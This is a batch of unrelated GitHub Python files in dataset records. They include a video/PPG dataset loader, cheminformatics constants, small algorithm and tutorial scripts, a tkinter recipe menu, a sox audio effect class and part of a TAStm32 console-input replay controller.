frame_start = datetime.strptime(frame_start, \"%d/%m/%Y, %H:%M:%S.%f\")\n frame_end = datetime.strptime(frame_end, \"%d/%m/%Y, %H:%M:%S.%f\")\n\n labels = np.load(bvps_fn, allow_pickle=True)\n ppg = labels[\"arr_0\"].item()['gt_PPG']\n ppg_start = ppg[0][0]\n ppg_end = ppg[-1][0]\n time_start = max(ppg_start, frame_start)\n time_end = min(ppg_end, frame_end)\n\n frames = list()\n for i,i_frame_time in enumerate(frame_time[\"times\"]):\n time_now = datetime.strptime(i_frame_time, \"%d/%m/%Y, %H:%M:%S.%f\")\n if time_now > time_start and time_now < time_end:\n VidObj.set(cv2.CAP_PROP_POS_FRAMES, i)\n success, frame = VidObj.read()\n if success:\n frame = cv2.cvtColor(np.array(frame), cv2.COLOR_BGR2RGB)\n frame = np.asarray(frame)\n frames.append(frame)\n VidObj.release()\n frames = np.asarray(frames)\n\n bvps = list()\n for i, i_ppg_time in enumerate(ppg):\n time_now = i_ppg_time[0]\n if time_now > time_start and time_now < time_end:\n bvps.append(i_ppg_time[1])\n bvps = np.asarray(bvps)\n # ================================ #\n target_length = frames.shape[0]\n bvps = BaseLoader.resample_ppg(bvps, target_length)\n \n frames_clips, bvps_clips = self.preprocess(frames, bvps, config_preprocess)\n input_name_list, label_name_list = self.save_multi_process(frames_clips, bvps_clips, saved_filename)\n file_list_dict[i] = input_name_list\n\n @staticmethod\n def read_video(video_file):\n \"\"\"Reads a video file, returns frames(T, H, W, 3) \"\"\"\n VidObj = cv2.VideoCapture(video_file)\n VidObj.set(cv2.CAP_PROP_POS_MSEC, 0)\n success, frame = VidObj.read()\n frames = list()\n while success:\n frame = cv2.cvtColor(np.array(frame), cv2.COLOR_BGR2RGB)\n frame = np.asarray(frame)\n frames.append(frame)\n success, frame = VidObj.read()\n return np.asarray(frames)\n\n @staticmethod\n def read_wave(bvp_file):\n \"\"\"Reads a bvp signal file.\"\"\"\n labels = np.load(bvp_file, allow_pickle=True)\n df = labels[\"arr_0\"].item()\n bvp = list()\n for i_df in df[\"gt_PPG\"]:\n bvp.append(i_df[1])\n return np.asarray(bvp)\n","repo_name":"ChainShoeTall/IEM_extension","sub_path":"dataset/data_loader/PABPLoader_Raw.py","file_name":"PABPLoader_Raw.py","file_ext":"py","file_size_in_byte":5970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74932102489","text":"VALID_FEATURE_VECTOR_TYPES = [\"moments\", \"mmgbsa_fp\", \"sift\", \"binsift\", \"physchem\", \"ECFP\", \"ECFPL\", \"ECFPLi\",\r\n \"cECFP\", \"cECFPL\", \"cECFPLi\", \"FCFP\", \"FCFPL\", \"cFCFP\", \"cFCFPL\", \"cFCFPLi\", \"FCFPLi\",\r\n \"ECFP_sift\", \"moments_sift\", \"mmgbsaXsift\", \"binnedmmgbsa\", \"binnedmmgbsaXsift\", \"moments_sift_physchem\",\r\n \"moments_ECFP\", \"moments_physchem\", \"moments_mmgbsa\", \"mmgbsa_physchem\", \"bfactors\", \"RMSF\",\r\n \"chiRMSF\", \"phipsiRMSF\", \"chiphipsiRMSF\", \"mmgbsa_RMSF\", \"mmgbsa_bfactors\", \"mmgbsa_chiRMSF\",\r\n \"2Dpp\", \"RDK5\", \"RDK5L\", \"3Dpp\", \"MACCS\", \"moments_logP\", \"moments_sol\", \"shape\", \"docking\",\r\n \"mmgbsa_sift\", \"ErgFP\", \"plec\", \"moments_plec\",\r\n \"mol2vec1000_1\", \"mol2vec1000_2\", \"mol2vec1000_3\", \"mol2vec2000_1\", \"mol2vec2000_2\",\r\n \"mol2vec2000_3\", \"mol2vec3000_1\", \"mol2vec3000_2\", \"mol2vec3000_3\", \"mol2vec400_1\",\r\n \"mol2vec500_1\", \"mol2vec500_2\", \"mol2vec500_3\", \"mol2vec600_1\", \"mol2vec900_1\",\r\n \"mol2vec300_1\", \"csv\", \"AP\", \"cAP\", \"TT\", \"cTT\", \"AvalonFP\", \"AvalonFPL\",\r\n \"NGF7936\", \"NGF3968\", \"NGF1984\", \"NGF992\", \"NGF496\", \"NGF248\", \"NGF124\", \"NGF62\",\r\n \"CSFP\", \"tCSFP\", \"iCSFP\", \"fCSFP\", \"pCSFP\", \"gCSFP\",\r\n \"CSFPL\", \"tCSFPL\", \"iCSFPL\", \"fCSFPL\", \"pCSFPL\", \"gCSFPL\",\r\n \"CSFPLi\", \"tCSFPLi\", \"iCSFPLi\", \"fCSFPLi\", \"gCSFPLi\", \"MAP4\", \"AttentiveFP\", \"ChempropFP\"]\r\n\r\n# The feature vectors I use the most\r\nFREQUENT_FEATURE_VECTOR_TYPES = [\"CSFPL\", \"tCSFPL\", \"iCSFPL\", \"fCSFPL\" , \"pCSFPL\", \"gCSFPL\", \"AP\", \"cAP\", \"ErgFP\",\r\n \"AvalonFPL\", \"TT\", \"cTT\", \"NGF3968\", \"ECFPL\", \"cECFPL\", \"FCFPL\", \"cFCFPL\", \"2Dpp\", \"CSFPLi\", \"tCSFPLi\",\r\n \"iCSFPLi\", \"fCSFPLi\", \"gCSFPLi\", \"ECFPLi\", \"cECFPLi\", \"FCFPLi\", \"cFCFPLi\", \"MAP4\"]\r\n\r\nBOOLEAN_FEATVEC_TYPES = [\"ECFP\", \"ECFPL\", \"ECFPLi\", \"cECFP\", \"cECFPL\", \"cECFPLi\", \"FCFP\", \"FCFPL\", \"FCFPLi\",\r\n \"cFCFP\", \"cFCFPL\", \"cFCFPLi\", \"2Dpp\", \"RDK5\", \"RDK5L\", \"3Dpp\",\r\n \"MACCS\", \"AP\", \"cAP\", \"TT\", \"cTT\", \"AvalonFP\", \"AvalonFPL\", \"CSFP\", \"tCSFP\", \"iCSFP\", \"fCSFP\", \"pCSFP\",\r\n \"gCSFP\", \"CSFPL\", \"tCSFPL\", \"iCSFPL\", \"fCSFPL\", \"pCSFPL\", \"gCSFPL\",\r\n \"CSFPLi\", \"tCSFPLi\", \"iCSFPLi\", \"fCSFPLi\", \"gCSFPLi\"]\r\n\r\nSCALAR_FEATVEC_TYPES = [fv for fv in VALID_FEATURE_VECTOR_TYPES if fv not in BOOLEAN_FEATVEC_TYPES]\r\n\r\n# All the following fingerprints will be yield MLPs with the same dimensions\r\nFINGERPRINT_GROUP = ['ECFP', 'ECFPL', 'ECFPLi', 'cECFP', 'cECFPL', 'cECFPLi', 'FCFP', 'FCFPL', 'FCFPLi',\r\n 'cFCFP', 'cFCFPL', 'cFCFPLi', 'RDK5', 'RDK5L', 'AP', 'cAP', 'TT', 'cTT',\r\n 'AvalonFP', 'AvalonFPL', 'CSFP', 'tCSFP', 'iCSFP', 'fCSFP', 'pCSFP', 'gCSFP',\r\n 'CSFPL', 'tCSFPL', 'iCSFPL', 'fCSFPL', 'pCSFPL', 'gCSFPL',\r\n 'CSFPLi', 'tCSFPLi', 'iCSFPLi', 'fCSFPLi', 'gCSFPLi', 'MAP4']\r\n\r\nimport os\r\n\r\nCONSSCORTK_LIB_DIR = os.path.dirname(os.path.realpath(__file__))\r\nCONSSCORTK_HOME_DIR = CONSSCORTK_LIB_DIR[:-3]\r\nCONSSCORTK_BIN_DIR = CONSSCORTK_LIB_DIR[:-3] + \"general_tools\"\r\nCONSSCORTK_UTILITIES_DIR = CONSSCORTK_LIB_DIR[:-3] + \"utilities\"\r\nCONSSCORTK_THIRDPARTY_DIR = CONSSCORTK_LIB_DIR[:-3] + \"thirdparty\"\r\n","repo_name":"tevang/sqm-ml","sub_path":"library/global_vars.py","file_name":"global_vars.py","file_ext":"py","file_size_in_byte":3589,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"48327018134","text":"import math\n\nn = int(input())\ninlst = [*map(int, input().split())]\n\ndp = [[0] * 20 for _ in range(n)]\ndp[0][inlst[0]] += 1\n\nfor i in range(1, n - 1):\n print(inlst[i])\n","repo_name":"Zerotay/Algo_SSAFY","sub_path":"week_07/5557_1학년/5557_김동건.py","file_name":"5557_김동건.py","file_ext":"py","file_size_in_byte":170,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"4879510031","text":"from collections import deque\n\nTARGET = 'X'\nDANGER = 'D'\nDIRECTION = [(-1, 0), (1, 0), (0, -1), (0, 1)]\n\ndef treasureIsland(grid):\n visited = set()\n visited.add((0, 0))\n queue = deque()\n queue.append((0, 0))\n steps = 0\n while queue:\n steps += 1\n size = len(queue)\n for i in range(size):\n pos = queue.popleft()\n for nei in neighbors(pos, grid, visited):\n if grid[nei[0]][nei[1]] == TARGET:\n return steps\n visited.add(nei)\n queue.append(nei)\n return -1\n\n\ndef neighbors(pos, grid, visited):\n for dirc in DIRECTION:\n nr = pos[0] + dirc[0]\n nc = pos[1] + dirc[1]\n if 0 <= nr < len(grid) and 0 <= nc < len(grid[0]) \\\n and (nr, nc) not in visited and grid[nr][nc] != DANGER:\n yield nr, nc\n\n\nif __name__ == '__main__':\n ans = treasureIsland([['O', 'O', 'O', 'O'],\n ['D', 'O', 'D', 'O'],\n ['O', 'O', 'O', 'O'],\n ['X', 'D', 'D', 'O']])\n print(ans)","repo_name":"ZhouningMan/LeetCodePython","sub_path":"sprint/TreasureIsland.py","file_name":"TreasureIsland.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40767709254","text":"from rest_framework.routers import DefaultRouter\n\nfrom common.views import (\n UnitModelViewSet, LotModelViewSet, TradeModelViewSet, \n CurrencyModelViewSet, CountryModelViewSet\n)\n\n\nrouter = DefaultRouter()\nrouter.register(r'units', UnitModelViewSet, basename='unit')\nrouter.register(r'lots', LotModelViewSet, basename='lot')\nrouter.register(r'trades', TradeModelViewSet, basename='trade')\nrouter.register(r'currencies', CurrencyModelViewSet, basename='currency')\nrouter.register(r'countries', CountryModelViewSet, basename='country')\n\nurlpatterns = router.urls","repo_name":"amanmyrats/smetcik","sub_path":"backend/common/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37866156891","text":"import fcntl\nimport sys\nimport os\nimport time\nimport tty\nimport termios\nimport select\nimport sys\n\n\nclass raw(object):\n def __init__(self, stream):\n self.stream = stream\n self.fd = self.stream.fileno()\n\n def __enter__(self):\n self.original_stty = termios.tcgetattr(self.stream)\n tty.setcbreak(self.stream)\n\n def __exit__(self, exception_type, exception_value, exception_traceback):\n termios.tcsetattr(self.stream, termios.TCSANOW, self.original_stty)\n\n\nclass nonblocking(object):\n def __init__(self, stream):\n self.stream = stream\n self.fd = self.stream.fileno()\n\n def __enter__(self):\n self.orig_fl = fcntl.fcntl(self.fd, fcntl.F_GETFL)\n fcntl.fcntl(self.fd, fcntl.F_SETFL, self.orig_fl | os.O_NONBLOCK)\n\n def __exit__(self, *args):\n fcntl.fcntl(self.fd, fcntl.F_SETFL, self.orig_fl)\n\n\nwith raw(sys.stdin):\n with nonblocking(sys.stdin):\n while True:\n print('Calling select...')\n if select.select([sys.stdin], [], [], 1.0) == ([sys.stdin], [], []):\n c = sys.stdin.read(1)\n print(f'Read char \"{repr(c)}\"')\n\n # if c:\n # print(repr(c))\n # else:\n # print('not ready')\n # time.sleep(.1)\n","repo_name":"royrwood/imdb_scraper","sub_path":"junk/test_tty.py","file_name":"test_tty.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42567507468","text":"SENTINEL = -1\ntotal_miles = 0\n\ntotal_gallon = 0\n\nwhile True:\n gallon = float(input(\"Enter the gallons used (-1 to end): \"))\n if gallon == SENTINEL:\n break\n miles = float(input(\"Enter the miles driven: \"))\n mile_gallon= miles/gallon\n print(f'The miles/gallon for this tank was {mile_gallon:6f}')\n total_miles =total_miles + miles\n total_gallon = total_gallon + gallon\n \n \nprint(f'The overall average miles/gallon was {total_miles/total_gallon:.6f}')\n","repo_name":"noozip2241993/homework3","sub_path":"solution-311.py","file_name":"solution-311.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13049736739","text":"\"\"\"\n A Stopwatch Program for measuring the time that elapses between\n the start and end clicks\n \"\"\"\n\nimport time\n\n\ndef time_convert(time_elapsed):\n print(\"The time elapsed is {} seconds\".format(time_elapsed))\n\n\ndef stopWatch():\n input(\"Press Enter to start\") # user input\n start_time = time.time()\n\n input(\"Press Enter to stop\") # user input\n end_time = time.time()\n\n time_elapsed = end_time - start_time # computation\n time_convert(time_elapsed)\n\n\nif __name__ == '__main__':\n stopWatch()\n","repo_name":"Aavik743/Python-Practice-Problems","sub_path":"PracticeProblems/Logical/StopWatch.py","file_name":"StopWatch.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40112422647","text":"# *args and **kwargs\n\n# print_list.py\nmy_list1 = [1, 2, 3]\nprint(my_list1)\n# output : [1, 2, 3]\n\n#vrs\nmy_list2 = [1, 2, 3]\nprint(*my_list2)\n#output : 1 2 3\n\n# string_to_list.py\na = [*\"RealPython\"]\nprint(a)\n# output : ['R', 'e', 'a', 'l', 'P', 'y', 't', 'h', 'o', 'n']\n\n# this takes a list of arguments\ndef print_funct(*args):\n print(args)\n\nprint_funct('sdf', 'tysr', 'sdf')\n\n\n# sum an unknown number of numbers either as a variable, or as a list.\ndef sum(*args):\n my_sum = 0\n for arg in args:\n my_sum += int(arg)\n print(my_sum)\n return my_sum\n\n\n# calling function where I supplied the list\nsum(1, 2, 3, 4, 5)\n# output : 15\nnums = [1, 2, 3, 4, 5]\n# calling function where I unpacked the list\nsum(*nums)\n#output : 15\n# using * to unpack a list into the range function.\n\n\n\n# if a built-in function can take a list, you can use * to unpack the variable. IF YOU try to run it without unpacking\n# you will get. TypeError: 'list' object cannot be interpreted as an integer.\n# range_values2 = range(start_and_stop)\n# so unpack the variable like this:\nstart_and_stop = [3, 30]\nrange_values = range(*start_and_stop)\nprint(list(range_values))\n#output : [3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29]\n\n# using KWARGS packing and unpacking dictionaries\ndef concatenate(**dict_my):\n result = \"\"\n # Iterating over the Python kwargs dictionary, dont forget .values!!! this is a dictionary not a list.\n for word in dict_my.values():\n result += word + ' '\n return result\n\nprint(concatenate(a=\"Real\", b=\"Python\", c=\"Is\", d=\"Great\", e=\"!\"))\n#output :Real Python Is Great !\n\n# correct_function_definition.py, make sure to put positional first, then args and kwargs\ndef my_function(a, b, *args, **kwargs):\n pass\n\n# this will unpack each item in each list and produce one sum.When you use the * operator to unpack a list and pass\n# arguments to a function, it’s exactly as though you’re passing every single argument alone.\ndef my_sum(*args):\n result = 0\n for x in args:\n result += x\n return result\n\nlist1 = [1, 2, 3]\nlist2 = [4, 5]\nlist3 = [6, 7, 8, 9]\n\nprint(my_sum(*list1, *list2, *list3))\n#output : 45\n\n# merging_lists.py\nmy_first_list = [1, 2, 3]\nmy_second_list = [4, 5, 6]\nmy_merged_list = [*my_first_list, *my_second_list]\n\nprint(my_merged_list)\n#output : [1, 2, 3, 4, 5, 6]\n\n# merging_dicts.py\nmy_first_dict = {\"A\": 1, \"B\": 2}\nmy_second_dict = {\"C\": 3, \"D\": 4}\nmy_merged_dict = {**my_first_dict, **my_second_dict}\n#output : {'A': 1, 'B': 2, 'C': 3, 'D': 4}\nprint(my_merged_dict)\n\n#outout : {'A': 1, 'B': 2, 'C': 3, 'D': 4}","repo_name":"Adison-Fryman/pythonReview","sub_path":"args_kwargs.py","file_name":"args_kwargs.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9033399960","text":"import sox\nfrom audio.audio_array import AudioArray\nfrom audio.audio_transform import AudioTransform\n\n# yaml object\n# ---\n# type: Phaser\n# input:\n# type: AudioFile\n# filepath: audio.mp3\n# gain_in: 0.8\n# gain_out: 0.74\n# delay: 3\n# decay: 0.4\n# speed: 0.5\n# modulation_shape: sinusoidal # or triangular\n\nclass Phaser(AudioTransform):\n def __init__(self, input, \n gain_in=0.8,\n gain_out=0.74,\n delay=3,\n decay=0.4,\n speed=0.5,\n modulation_shape='sinusoidal' # or 'triangular'\n ) -> None:\n super().__init__(input)\n self.__gain_in = gain_in\n self.__gain_out = gain_out\n self.__delay = delay\n self.__decay = decay\n self.__speed = speed\n self.__modulation_shape = modulation_shape\n\n def get_array(self) -> AudioArray:\n phaser = sox.Transformer()\n phaser.phaser(\n decay=self.__decay,\n delay=self.__delay,\n gain_in=self.__gain_in,\n gain_out=self.__gain_out,\n speed=self.__speed,\n modulation_shape=self.__modulation_shape\n )\n audio_array = self._input.get_array()\n return AudioArray(\n array=phaser.build_array(\n input_array=audio_array.array,\n sample_rate_in=audio_array.sample_rate\n ),\n sample_rate=audio_array.sample_rate\n )","repo_name":"MadLadLabs/audio-pipe","sub_path":"src/audio/transforms/phaser.py","file_name":"phaser.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37698865796","text":"from tkinter import *\r\n\r\nwindow = Tk()\r\n\r\nwindow.geometry(\"1366x768\")\r\nwindow.configure(bg = \"#73777b\")\r\ncanvas = Canvas(\r\n window,\r\n bg = \"#73777b\",\r\n height = 768,\r\n width = 1366,\r\n bd = 0,\r\n highlightthickness = 0,\r\n relief = \"ridge\")\r\ncanvas.place(x = 0, y = 0)\r\n\r\nbackground_img = PhotoImage(file = f\"Assets/dashboard_background.png\")\r\nbackground = canvas.create_image(\r\n 670.0, 375.0,\r\n image=background_img)\r\n\r\nimg0 = PhotoImage(file = f\"Assets/dashboard_img0.png\")\r\n\r\ndef btn_clicked__next():\r\n import next\r\n\r\ndef btn_clicked_soto():\r\n window.destroy()\r\n import soto\r\n\r\ndef btn_clicked_steak():\r\n window.destroy()\r\n import steak\r\n\r\ndef btn_clicked_bakmie():\r\n window.destroy()\r\n import bakmie\r\n\r\ndef btn_clicked_pasta():\r\n window.destroy()\r\n import pasta\r\n\r\ndef btn_clicked_logout():\r\n window.destroy()\r\n import login\r\n window.mainloop()\r\n\r\nb0 = Button(\r\n image = img0,\r\n borderwidth = 0,\r\n highlightthickness = 0,\r\n command = btn_clicked__next,\r\n relief = \"flat\")\r\n\r\nb0.place(\r\n x = 1165, y = 649,\r\n width = 68,\r\n height = 24)\r\n\r\n\r\nimg1 = PhotoImage(file = f\"Assets/dashboard_img1.png\")\r\nb1 = Button(\r\n image = img1,\r\n borderwidth = 0,\r\n highlightthickness = 0,\r\n command = btn_clicked_pasta,\r\n relief = \"flat\")\r\n\r\nb1.place(\r\n x = 85, y = 522,\r\n width = 422,\r\n height = 68)\r\n\r\nimg2 = PhotoImage(file = f\"Assets/dashboard_img2.png\")\r\nb2 = Button(\r\n image = img2,\r\n borderwidth = 0,\r\n highlightthickness = 0,\r\n command = btn_clicked_bakmie,\r\n relief = \"flat\")\r\n\r\nb2.place(\r\n x = 85, y = 433,\r\n width = 423,\r\n height = 64)\r\n\r\nimg3 = PhotoImage(file = f\"Assets/dashboard_img3.png\")\r\nb3 = Button(\r\n image = img3,\r\n borderwidth = 0,\r\n highlightthickness = 0,\r\n command = btn_clicked_steak,\r\n relief = \"flat\")\r\n\r\nb3.place(\r\n x = 85, y = 340,\r\n width = 422,\r\n height = 63)\r\n\r\nimg4 = PhotoImage(file = f\"Assets/dashboard_img4.png\")\r\nb4 = Button(\r\n image = img4,\r\n borderwidth = 0,\r\n highlightthickness = 0,\r\n command = btn_clicked_soto,\r\n relief = \"flat\")\r\n\r\nb4.place(\r\n x = 85, y = 245,\r\n width = 422,\r\n height = 63)\r\n\r\nimg5 = PhotoImage(file = f\"Assets/dashboard_img5.png\")\r\n\r\n\r\nb5 = Button(\r\n image = img5,\r\n borderwidth = 0,\r\n highlightthickness = 0,\r\n command = btn_clicked_logout,\r\n relief = \"flat\")\r\n\r\nb5.place(\r\n x = 1131, y = 25,\r\n width = 107,\r\n height = 33)\r\n\r\nwindow.resizable(False, False)\r\nwindow.mainloop()\r\n","repo_name":"ihsanharimurti/Ihsan-Harimurti_Mengmasak","sub_path":"dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":2530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39408847600","text":"#!/usr/bin/env python3\nimport sys\nimport os\nimport serial\nimport struct\nimport time\nimport gc\n\nimport serial_helper\nimport argparse_helper\n\nimport r08, r16m, m64, dtm, rgen\n\nDEBUG = False\n\nint_buffer = 1024 # internal buffer size on replay device\n\nlatches_per_bulk_command = 28\npackets = 4\n\nVALID_PLAYERS = {\n \"n64\": (1,5,),\n \"snes\": (1,2,3,4,5,6,7,8,),\n \"nes\": (1,5,),\n \"gc\": (1,),\n \"genesis\": (1,5,)\n}\n\nint_to_byte_struct = struct.Struct('B')\ndef int_to_byte(interger):\n return int_to_byte_struct.pack(interger)\n\nclass TAStm32():\n def __init__(self, ser):\n att = 0\n while att < 5:\n try:\n self.ser = serial.Serial(ser, 115200, timeout=0.1)\n break\n except serial.SerialException:\n att += 1\n self.ser = None\n continue\n if self.ser == None:\n print ('ERROR: the specified interface (' + ser + ') is in use')\n sys.exit(0)\n else:\n self.activeRuns = {b'A': False, b'B': False, b'C': False, b'D': False}\n self.latchTrains = {b'A': None, b'B': None, b'C': None, b'D': None}\n\n def get_run_prefix(self):\n if self.activeRuns[b'A']:\n if self.activeRuns[b'B']:\n if self.activeRuns[b'C']:\n if self.activeRuns[b'D']:\n return None\n else:\n self.activeRuns[b'D'] = True\n return b'D'\n else:\n self.activeRuns[b'C'] = True\n return b'C'\n else:\n self.activeRuns[b'B'] = True\n return b'B'\n else:\n self.activeRuns[b'A'] = True\n return b'A'\n\n def write(self, data):\n count = self.ser.write(data)\n if DEBUG and data != b'':\n print('S:', data)\n return count\n\n def read(self, count):\n data = self.ser.read(count)\n if DEBUG and data != b'':\n print('R:', data)\n return data\n\n def reset(self):\n c = self.read(1)\n if c == '':\n pass\n else:\n numBytes = self.ser.inWaiting()\n if numBytes > 0:\n c += self.read(numBytes)\n self.write(b'R')\n time.sleep(0.1)\n data = self.read(2)\n if data == b'\\x01R':\n return True\n else:\n raise RuntimeError('Error during reset')\n\n def enable_controller(self):\n self.write(b'V1')\n\n def disable_controller(self):\n self.write(b'V0')\n\n def enable_relay(self):\n self.write(b'r1')\n\n def disable_relay(self):\n self.write(b'r0')\n\n def power_on(self):\n self.write(b'P1')\n\n def power_off(self):\n self.write(b'P0')\n\n def power_soft_reset(self):\n self.write(b'PS')\n\n def power_hard_reset(self):\n self.write(b'PH')\n\n def ping(self):\n self.write(b'\\xAA')\n\n def waitForPong(self):\n readCount = 0\n start = time.time()\n while True:\n try:\n if time.time() > start+15:\n return -1\n c = self.read(1)\n if c == '':\n continue\n readCount += 1\n if c == b'\\x55':\n return 0\n if readCount > 1000:\n return -2\n except serial.SerialException:\n return -3\n except KeyboardInterrupt:\n return -4\n\n def set_bulk_data_mode(self, prefix, mode):\n command = b''.join([b'Q', prefix, mode])\n self.write(command)\n\n def send_transition(self, prefix, frame, mode):\n if self.activeRuns[prefix]:\n command = ''\n if mode == b'N':\n # Set Normal Mode\n command = b''.join([b'T', prefix, mode, struct.pack('I', frame)])\n elif mode == b'A':\n # Set ACE Mode\n command = b''.join([b'T', prefix, mode, struct.pack('I', frame)])\n elif mode == b'S':\n # Set Soft Reset\n command = b''.join([b'T', prefix, mode, struct.pack('I', frame)])\n elif mode == b'H':\n # Set Hard Reset\n command = b''.join([b'T', prefix, mode, struct.pack('I', frame)])\n elif mode == b'R':\n # Wait for next rumble\n command = b''.join([b'T', prefix, mode, struct.pack('I', frame)])\n if command != '':\n self.write(command)\n\n def send_latchtrain(self, prefix, latchtrain):\n if self.activeRuns[prefix]:\n command = b''.join([b'U', prefix, struct.pack('H', len(latchtrain)), *[struct.pack('H', i) for i in latchtrain]])\n self.write(command)\n self.latchTrains[prefix] = latchtrain\n\n def setup_run(self, console, players=[1], dpcm=False, overread=False, clock_filter=0):\n prefix = self.get_run_prefix()\n if prefix == None:\n raise RuntimeError('No Free Run')\n vp = VALID_PLAYERS.get(console, ())\n if console == 'n64':\n cbyte = b'M'\n pbyte = 0\n for player in players:\n p = int(player)\n if p in vp:\n pbyte = pbyte ^ 2**(8-p)\n else:\n raise RuntimeError('Invalid player for N64')\n sbyte = 0\n elif console == 'snes':\n cbyte = b'S'\n pbyte = 0\n for player in players:\n p = int(player)\n if p in vp:\n pbyte = pbyte ^ 2**(8-p)\n else:\n raise RuntimeError('Invalid player for SNES')\n sbyte = 0\n if dpcm:\n sbyte = sbyte ^ 0x80\n if overread:\n sbyte = sbyte ^ 0x40\n if clock_filter:\n sbyte = sbyte + clock_filter\n elif console == 'nes':\n cbyte = b'N'\n pbyte = 0\n for player in players:\n p = int(player)\n if p in vp:\n pbyte = pbyte ^ 2**(8-p)\n else:\n raise RuntimeError('Invalid player for NES')\n sbyte = 0\n if dpcm:\n sbyte = sbyte ^ 0x80\n if overread:\n sbyte = sbyte ^ 0x40\n if clock_filter:\n sbyte = sbyte + clock_filter\n elif console == 'gc':\n cbyte = b'G'\n pbyte = 0\n for player in players:\n p = int(player)\n if p in vp:\n pbyte = pbyte ^ 2**(8-p)\n else:\n raise RuntimeError('Invalid player for GC')\n sbyte = 0\n elif console == 'genesis':\n cbyte = b'J'\n pbyte = 0\n sbyte = 0\n for player in players:\n p = int(player)\n if p in vp:\n pbyte = pbyte ^ 2**(8-p)\n else:\n raise RuntimeError('Invalid player for Genesis')\n command = b'S' + prefix + cbyte + int_to_byte(pbyte) + int_to_byte(sbyte)\n self.write(command)\n time.sleep(0.1)\n data = self.read(2)\n if data == b'\\x01S':\n return prefix\n else:\n self.activeRuns[prefix] = False\n raise RuntimeError('Error during setup')\n\n def main_loop(self, run):\n global DEBUG\n frame = 0\n frame_max = len(run.buffer)\n latchTrain = self.latchTrains[run.run_id]\n ltCarriage = 0\n while True:\n try:\n c = self.read(1)\n if c == b'':\n continue\n numBytes = self.ser.inWaiting()\n if numBytes > 0:\n c += self.read(numBytes)\n if numBytes > int_buffer:\n print (\"WARNING: High latch rate detected: \" + str(numBytes))\n latches = c.count(run.run_id)\n bulk = c.count(run.run_id.lower())\n missed = c.count(b'\\xB0')\n if missed != 0:\n run.fn -= missed\n print('Buffer Overflow x{}'.format(missed))\n\n # Latch Trains\n # Console Latched more than expected\n trainskips = c.count(b'UA')\n if trainskips != 0:\n ltCarriage += trainskips\n print(f'--- Extra frame detected. Repeating frame to compensate. x{trainskips} Last Carriage: {ltCarriage}')\n # Console Latched less than expected\n trainextra = c.count(b'UB')\n if trainextra != 0:\n ltCarriage += trainextra\n print(f'--- Short a frame. Skipping a frame to compensate. x{trainextra} Last Carriage: {ltCarriage}')\n # Consoled matched expectations\n trainfin = c.count(b'UC')\n if trainfin != 0:\n ltCarriage += trainfin\n print(f'+++ Latch train success! x{trainfin} Last Carriage: {ltCarriage}')\n\n trainfailedfatal = c.count(b'UF')\n if trainfailedfatal != 0:\n print(f'!!! Off by many frames. Run is probably broken. Good luck! Last Carriage: {ltCarriage}')\n latchError = struct.unpack_from('cch', c, c.index(b'UF'))[2]\n actualLength = latchTrain[ltCarriage] - latchError\n if latchError == 32767:\n print(f'Expected Carriage Size: {latchTrain[ltCarriage]} Actual: {actualLength} Max Difference Exeeded')\n else:\n print(f'Expected Carriage Size: {latchTrain[ltCarriage]} Actual: {actualLength} Difference: {latchError}')\n sys.exit(1)\n\n for latch in range(latches):\n try:\n data = run.run_id + run.buffer[run.fn]\n self.write(data)\n if run.fn % 100 == 0:\n print('Sending Latch: {}'.format(run.fn))\n except IndexError:\n command = []\n command.append(run.run_id + run.blankframe)\n data = b''.join(command)\n self.write(data)\n pass\n run.fn += 1\n frame += 1\n for cmd in range(bulk):\n for packet in range(packets):\n command = []\n for latch in range(latches_per_bulk_command//packets):\n try:\n command.append(run.run_id + run.buffer[run.fn])\n run.fn += 1\n if run.fn % 100 == 0:\n print('Sending Latch: {}'.format(run.fn))\n except IndexError:\n command.append(run.run_id + run.blankframe)\n run.fn += 1\n frame += 1\n data = b''.join(command)\n self.write(data)\n self.write(run.run_id.lower())\n if frame > frame_max:\n break\n except serial.SerialException:\n print('ERROR: Serial Exception caught!')\n break\n except KeyboardInterrupt:\n print('^C Exiting')\n break\n\nclass RunObject:\n def __init__(self, run_id, buffer, fn, blankframe):\n self.run_id = run_id\n self.buffer = buffer\n self.fn = fn\n self.blankframe = blankframe\n\ndef main():\n global DEBUG\n global buffer\n global run_id\n global fn\n\n parser = argparse_helper.setup_parser_full()\n\n args = parser.parse_args()\n\n if args.transition != None:\n for transition in args.transition:\n transition[0] = int(transition[0])\n if transition[1] == 'A':\n transition[1] = b'A'\n elif transition[1] == 'N':\n transition[1] = b'N'\n elif transition[1] == 'S':\n transition[1] = b'S'\n elif transition[1] == 'H':\n transition[1] = b'H'\n elif transition[1] == 'R':\n transition[1] = b'R'\n\n if args.latchtrain != '':\n args.latchtrain = [int(x) for x in args.latchtrain.split(',')]\n\n DEBUG = args.debug\n\n args.players = args.players.split(',')\n for x in range(len(args.players)):\n args.players[x] = int(args.players[x])\n\n if args.serial == None:\n dev = 